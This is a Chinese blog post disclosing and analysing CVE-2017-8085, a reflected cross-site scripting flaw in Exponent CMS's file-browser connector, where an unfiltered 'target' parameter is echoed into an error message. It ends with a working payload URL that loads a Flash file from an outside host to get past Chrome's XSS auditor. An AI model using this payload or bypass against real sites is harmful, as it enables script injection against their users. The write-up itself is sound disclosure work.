CVE-2017-8085 Exponent cms反射型xss分析
in 漏洞分析原创项目 with 0 comment

CVE-2017-8085 Exponent cms反射型xss分析

in 漏洞分析原创项目 with 0 comment

0x01 前言

国外的cms响应处理速度还是蛮快的,从上报漏洞到拿到cve编号隔了3天
补丁也出了一个多月了,也不是什么严重的漏洞,在这里公开一下
这里是一个反射型xss的漏洞,漏洞原因Exponent cms把报错信息输出到页面的时候
带入了用户可控制的参数,导致xss

0x02 漏洞分析

Exponent cms 默认提供了几个模板给用户使用,比如商城模板,博客模板
使用博客模板的时候,有个功能可以浏览upload的文件
QQ20170521-203231@2x.png
有个API是用来传递文件列表的,是json数据
QQ20170521-203719@2x.png
URL中的target参数是指定目录,target参数的组成是
前两位随机字符串(代码中随机生成的)+'_'+目录的base64值
当base64解码出来目录不在,就会输出错误信息,包括错误的base64值
QQ20170521-204135@2x.png
我们跟进代码,看看输出的地方
QQ20170521-204224@2x.png
我们可以看到,如果base64解码出错,$data['error']就有值
进到第一个if条件中
output直接就是$data['error']的值
$data['error']是包含了我们可控的base64的,我们大可以不输入base64值,直接输入xss代码
QQ20170521-204722@2x.png
可以看到,这里完全没有对我们的输入进行过滤
于是这里存在xss点,测试一下
QQ20170521-204842@2x.png
能够xss的,这里是一个反射型xss
这里是开发者的一个疏忽,开发者的想法应该是
target的值应该是base64,那输出也没有问题
但是target是通过GET拿到的,用户的一切输入都是不可信的

0x03 绕过chrome过滤器

既然是反射型xss,那么chrome是有过滤器的
QQ20170521-205154@2x.png
但是,看过这篇文章吗bypass chrome xss auditor
全是干货,所以chrome xss auditor,不存在的
QQ20170521-210050@2x.png
我的chrome是57版本的,payload用的是
framework/modules/file/connector/elfinder.php?cmd=open&target=l1_asdl<object%20allowscriptaccess=always>%20<param%20name=url%20value=http%3A%2F%2Fmhz.pw%2Fgame%2Fxss%2Falert.swf>

Comments are closed.